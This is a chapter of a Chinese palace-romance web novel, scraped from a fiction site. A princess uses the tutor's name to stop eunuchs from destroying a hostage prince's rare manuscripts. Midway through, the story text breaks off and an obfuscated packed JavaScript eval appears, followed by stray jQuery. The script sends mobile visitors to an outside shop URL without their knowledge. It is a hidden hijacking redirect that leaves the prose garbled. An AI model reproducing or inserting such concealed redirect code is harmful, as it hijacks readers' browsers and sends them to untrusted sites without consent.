文趣网 > 其他小说 > 虐文女主动心要命 > 6. 她给他解了围
    “谢公子?”

    为首的内侍像是听见了什么天大的笑话,抬起脚就重重往散落的竹简上碾去,竹片被碾得发出轻微的碎裂声。

    “一个寄人篱下的阶下囚,也配称‘公子’?我偏踩了,又能如何?就算毁了这破竹简,他难不成还敢来找爷讨说法?”

    沈绾月的目光,死死锁在那些散落的竹简上。

    那竹简的装帧、上面的朱砂标记,她看得清清楚楚。

    那是前日苏怀瑾特意跟她提及的孤本《行军六略》。

    苏怀瑾曾反复叮嘱,此书孤本仅存一套,珍贵无比。

    如若错一字、污一页,便算是毁了全书。

    届时追责下来,别说谢珩,就连负责看管的宫人,都难逃惩处。

    青黛伸手拉住沈绾月的衣袖,急急忙忙劝道:“公主,那是谢公子的差事,是他的麻烦,咱们快走吧,别卷入这是非里,惹祸上身!”

    青黛的话,像一盆冷水,浇在沈绾月的心头,让她瞬时清醒了几分。

    谢珩的死活,本都与她无关。

    她只要离他远些,就能保住自己的性命。

    何必去多管闲事,引火上身。

    可她的眸光,却控制不住地,飘向了回廊转角的阴影里。

    那里,静静立着一道素色身影。

    是谢珩。

    他定然是看见了,也定然是听见了。

    他看着自己的内侍被人欺辱,看着自己要抄录的孤本被人践踏。

    可他,却只是静立着,像一尊凝了寒的石像,连动都不曾动一下。

    仿佛眼前这一切不堪,都与他无关。

    仿佛所有的欺辱、嘲讽,他都早已习惯、麻木。

    沈绾月的心,像是被寒雾裹着的碎砾碾过。

    细密的疼意层层漫上来,一点点盖过了心底残存的恐惧。

    沈绾月望着谢珩那副事不关己的淡漠模样,心底无端腾起一股火气。

    她气他一味隐忍,气他沉默无言,更气他身陷泥沼、受尽折辱,却依旧不肯低头,不肯求饶。

    可这满腔怒火之下,翻涌的却是丝丝缕缕、挥之不去的酸涩。

    她一遍遍告诫自己,绝不能心软。

    他是谢珩,是未来会毁了她一切的仇人。

    可眼前这个清俊少年,不过是个任人欺凌、无处可依的质子。

    那点克制不住的恻隐,如同挣脱束缚的藤蔓,在心底疯狂滋长,死死缠住心脏,令她窒息难安。

    她再也无法冷眼旁观,再也无法装作毫不在意。

    沈绾月深吸一口气,提着裙摆,快步从廊柱后转了出来。

    她的声音带着惯有的骄纵,如同惊雷劈散了周遭的喧闹,也劈碎了自己最后的犹豫。

    “都给本公主住手!”

    那些正在推搡叫嚣的内侍,被这突如其来的声音吓了一跳,连忙回头。

    当看清来人是沈绾月时,他们脸上的嚣张气焰登时消失得无影无踪,“噗通”一声跪倒在地。

    “参、参见公主殿下!公主千岁千岁千千岁!”

    被欺负的小内侍,像是抓住了最后一根救命稻草,连滚带爬地磕头,声音哽咽:“公主殿下救命!求公主殿下救救这些竹简,救救谢公子……”

    可沈绾月的视线,却越过磕头的小内侍,越过地上的狼藉,直直落在了廊下的谢珩身上。

    她的声音娇软清甜,像含着颗蜜饯。

    她故意扬高了声调,让廊里廊外的人,都听得一清二楚。

    “吵什么?本公主在这儿歇凉,都被你们这些奴才扰了清静,活腻歪了不成?”

    为首的内侍,见状谄媚地赔笑,连连磕头:“回公主殿下,都是这小奴才不长眼,走路冲撞了奴才们,还敢拿那南宸质子当幌子,奴才们一时气不过,才教训了他几句。”

    “谢公子?”

    沈绾月轻笑一声,往前走了两步,居高临下地看着地上狼藉的竹简。

    她的脚尖明明已经碰到了一片沾了泥水的竹片,却又生生偏开了半分,半点都没碾上去。

    “一个南宸来的质子,也配让你们这般兴师动众?”

    这话一出,内侍们先是一愣,随即脸上都堆起了了然的笑容,只当公主也是瞧不上谢珩的,是来训斥这个不知天高地厚的小内侍的。

    那为首的内侍,更是得了势一般,恶狠狠地瞪着地上的小内侍:“公主说得是!这等阶下囚的东西,踩碎了又何妨?奴才这就把这些破竹简,全部踩碎,给公主出气!”

    小内侍吓得浑身发抖,眼泪掉了出来:“公主殿下,这是崇文殿的孤本啊,毁了就再也没有了,谢公子会被太傅责罚的,求公主殿下开恩……”

    “孤本?”

    沈绾月挑眉,缓缓转头,目光再次落在廊下的谢珩身上。

    “谢珩,你瞧瞧你这奴才,倒会往自己脸上贴金。你也不瞧瞧自己是什么身份,也配用崇文殿的孤本?也配让奴才这般护着?”

    廊下的身影,终于动了。

    谢珩从阴影里走了出来,一袭素色锦袍洗得微微泛白,反倒更衬得他身姿挺拔、清隽绝尘。

    他垂着的眸子里,没有愤怒,没有委屈,只有一片深不见底的平静。

    仿佛方才被欺辱的,不是他的人,被践踏的,不是他的东西。

    他一步步走到沈绾月面前,距离不远不近,随即屈膝躬身,行了一个标准的臣子之礼。

    他的声音没有波澜,半分情绪也未显露,只淡淡道。

    “臣,知错。”

    那副逆来顺受、低眉顺眼的模样,没有半分往日的清贵,在沈绾月眼里只剩全然的卑微。

    她心头一堵,像被什么东西死死噎住了,闷得发慌。

    她慌忙偏过头,对着那些内侍们扬声道:“这竹简既然脏了,便……”

    “烧”字已经到了嘴边,被她硬生生咽了回去。

    “便收去崇文殿,仔细擦拭修补!太傅前日才跟本公主说,这孤本是传世之宝,半点毁不得,你们若是敢烧了,仔细你们的皮!届时太傅追责下来,本公主可保不住你们!”

    内侍们的笑容,瞬间僵在了脸上,面面相觑,一脸茫然。

    为首的那位内侍忍不住壮着胆子,问道:“公主,你方才不是说……说谢公子不配用这孤

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740149|209096||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    本吗?”

    “本公主说什么了?”

    沈绾月冷冷瞥了他们一眼,娇软的嗓音添了几分凌厉,语气带着些许不耐烦的呵斥。

    “本公主说,质子不配私藏孤本,没说要毁了太傅的心血!你们是聋了,还是故意曲解本公主的意思,想抗太傅的令?”

    内侍们听了吓得魂飞魄散,急忙磕头求饶。

    “奴才不敢!奴才不敢曲解公主的意思!”

    沈绾月的目光,又落回了谢珩身上。

    “还有,往后这宫里,谁要是再敢对谢珩和他身边的人动手动脚,便是不把太傅放在眼里!太傅爱惜孤本,你们若是伤了抄书的人,耽误了抄录进度,看太傅怎么罚你们!”

    这话听着,是斥责,是警告,可实则,却是给谢珩立了一道护身符。

    往后,再有人想刁难谢珩,便要掂量掂量,自己是不是敢得罪太傅。

    内侍们只当公主是看在太傅的面子上,不愿这孤本被毁,连声应道:“奴才们遵旨!奴才们记住了,往后再也不敢刁难谢公子和他身边的人了!”

    沈绾月这才悄悄松了松攥紧的指尖,掌心早已被掐出了红痕。

    她瞥了一眼地上的小内侍,又快速扫过依旧面无表情的谢珩,故意装出一副不耐烦的模样,转身对青黛道:“走,回宫。这地方,吵得慌。”

    她的脚步放得轻快,裙摆扫过地面,发出轻微的声响,仿佛真的只是做了一件无关紧要的小事。

    可路过谢珩身边时,一阵清风拂过,卷起他衣间淡淡的松雪气息,也卷来他极低极低的一句话。

    轻得像羽毛,却又带着沉甸甸的质感,清晰地传入她的耳中。

    “谢公主。”

    她不敢回头,不敢去看他的眼睛,不敢去探究他这句话里,到底藏着什么情绪,只能攥紧裙摆,连脊背都绷得笔直,脚步更快地往前走。

    而她身后,谢珩始终垂着眼帘,长睫如墨蝶敛翼,将所有情绪都掩得严严实实。

    他的目光落在沈绾月飘动的宫裙下摆,那菱角纹随着她轻快的步履轻晃。

    待那道身影渐行渐远,宫裙曳地的纹路在转角彻底隐去,他才缓缓抬眸。

    垂敛已久的眼底,凝着一点极淡、极沉的光,如暗夜云隙间深藏的星子,亮得隐晦,无人窥见。

    那点微光在眸底微一翻涌,转瞬即逝,快得抓不住半分痕迹。

    他侧头吩咐身旁的小内侍:“收拾竹简,回院。”

    小内侍捧着收拾好的竹简跟上谢珩离去。

    *

    行至宫道拐角的阴影处,方才还瑟瑟发抖的少年,忽然缓缓直起了腰身。

    他抬手拭去脸上泪痕,揉了揉眼角眉梢,方才那副怯懦畏缩的模样尽数褪去,取而代之的,是一身朗俊洒脱的气度。

    云辞随手扯开内侍服的领口,露出内里月白锦衫的边角,原本刻意佝偻的身形骤然舒展挺拔,眉眼间飞扬意气尽显。

    “方才那出戏演得我腰酸背痛,没想到那位公主看着天真,心思倒挺通透,竟能借着太傅的名头给你解围,既没落了自己的面子,又护了你周全,倒是令人刮目相看。”